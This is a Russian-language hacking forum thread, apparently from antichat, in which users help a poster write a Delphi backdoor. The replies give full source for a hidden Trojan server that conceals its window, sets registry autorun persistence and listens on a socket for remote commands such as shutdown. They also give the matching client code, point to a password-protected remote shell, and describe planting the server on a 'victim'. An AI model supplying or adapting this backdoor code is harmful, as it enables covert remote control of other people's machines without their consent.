Привет всем! Подскажите пожалуйста как средством UDP/TCP/Sockets... на делфи (7) написать бекдор, а точнее часть, передающую команды. К примеру: Client: reboot Server получает и идёт выполнение команды ExitWindowsEx(EWX_REBOOT,0); Подскажите как?
Часть передающая команды, обычно называется клиентом, в просторах интернета показано не мало примеров по написание троянов, что именно тебе непонятно?
А чего тут не понятного?Тут подумать и все станет понятно Или писать обертку для выполнения апи ф-ций через сокеты.Или запустить cmd с перенаправлением ввода\вывода через сокеты.
Если я правильно понял то тебе нада написать сервер и клиент для его управления. Сервер должен открыть порт: Code: TcpServer1.LocalPort := '1111'; //указываеш какой порт нада октрыть Code: TcpServer1.Active := True; // открывается порт Потом идёт обработка команды Code: u:=false; //переменной U присваеваем ложь begin repeat sleep(1000); if TcpServer1.ReceiveLn = 'X' then // если получили команду "X", то выпольняеш нужную тебе команду или процедуру until U; end; Теперь кодиш клиент: Code: TcpClient1.RemoteHost := Edit1.Text; // ip сервера TcpClient1.RemotePort := '1111'; // порт такой же как у сервера TcpClient1.Active := True; Ну а что бы послать команды используй: Code: TcpClient1.Sendln(Edit2.Text); // здесь должна быть команда, то есть как я писал - Х Но здесь мождна обойтись и без Edit2.Text а просто кнопкой Надеюсь написал то что ты хотел
Полные исходники: Нужно Form1 убрать из Avto Create Сервер Code: program Intersec; uses Forms, Windows, Unit1 in 'Unit1.pas' {Form1}; {$R *.res} var WhEvent : THandle; begin Application.Initialize; ShowWindow(Application.Handle,SW_HIDE); Form1:=TForm1.Create(nil); Application.Run; WhEvent:=CreateEvent(nil, true, false, 'et'); while (true) do begin WaitForSingleObject(WhEvent, 1000); Application.ProcessMessages; end; end. Code: unit Unit1; interface uses Windows, Messages, registry, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ScktComp; type TForm1 = class(TForm) ServerSocket1: TServerSocket; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); var RegIni : TRegIniFile; begin RegIni:=TRegIniFile.Create('Software'); RegIni.RootKey:=HKEY_LOCAL_MACHINE; RegIni.OpenKey('Software', true); RegIni.OpenKey('Microsoft', true); RegIni.OpenKey('Windows', true); RegIni.OpenKey('CurrentVersion', true); RegIni.WriteString('RunServices', 'Intersec.exe', 'Application.ExeName'); RegIni.Free; ServerSocket1.Active:=true; end; procedure TForm1.FormDestroy(Sender: TObject); begin ServerSocket1.Active:=False; end; procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); var s: String; begin s:= Socket.ReceiveText; if s='Reboot' then ExitWindowsEx(EWX_SHUTDOWN, 0); // или ExitWindowsEx(EWX_FORCE, 0); для мгновенного выключения компа end; end. Клинет: Code: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ScktComp, StdCtrls; type TForm1 = class(TForm) Button1: TButton; Edit1: TEdit; ClientSocket1: TClientSocket; Label1: TLabel; Edit2: TEdit; Label2: TLabel; procedure Button1Click(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); begin ClientSocket1.Address:=Edit1.Text; ClientSocket1.Active:=True; ClientSocket1.Socket.SendText(Edit2.Text); ClientSocket1.Active:=False; end; procedure TForm1.FormCreate(Sender: TObject); begin end; procedure TForm1.FormDestroy(Sender: TObject); begin if ClientSocket1.Active then ClientSocket1.Active:=False; end; end. Так же можно скачать размер 384.93 KB В архиве exe`шники так что может сработать антивирус. Мой NOD32 v3 молчал.
делфи + vcl =бекдор Читай Delphi World aka 5005 статей по делфи. Там хорошо описана работа с сокетами через winsock. И размер будет меньше и работать будет шустрее. А на счет того как отправлять команды, то если не юзать всё в стиле терминала, то использую чтото типа пакетного режима. а именно типа такой пакет строй:CMD_ID_1#CMD_ID_2# другими словами - посылаешь коды команды разделенные какминить не цифровым символом типа # А в проге разбиваешь на составляющие части, далее strtoint а затем уже через case выбираешь нужное действие и после выполнения действия можно сделать ответный пакет типа CMD_ID#REPLY_CODE#REPLY т.е. ID команды которую выполнил. Ошибка или удачно и результат выполнения, если он конечно предусматривается, типа если вернуть список процессов ) Но всёже достаточно будет сделать обычный шелл. И уже не нужно будет клиентсткое приложение. Для примера можешь глянуть шел с паролем вот тут http://forum.antichat.ru/showthread.php?p=892048#post892048
Тут все очень просто. Описывю в двух словах: У тебя на компе остается Клиент, а сервер ты забрасывешь жертве. Сервер должен открыть порт и ждать подключения от клиента. После того как Клиент проконектиться к серверу у тебя появляеться возможность передавть команды. Команды, это просто строка текста, которая отправляется с клиента на сервер. На сервере она обрабатывается и через условие проверяется. Т.е весь код на отключение, открытие сидюка и прочее храниться на сервере а клиент только отпрвляет команды. Вот общий пример: Сервер - открываем порт и ждем подключения Кслиент- конектимся на порт Клиент - отправляем строку текста "open" на сервер Сервер - проверемя через условие(если получена команда "open" тогда открываем сидиром) и т.д пока не будет получена команда на дисконект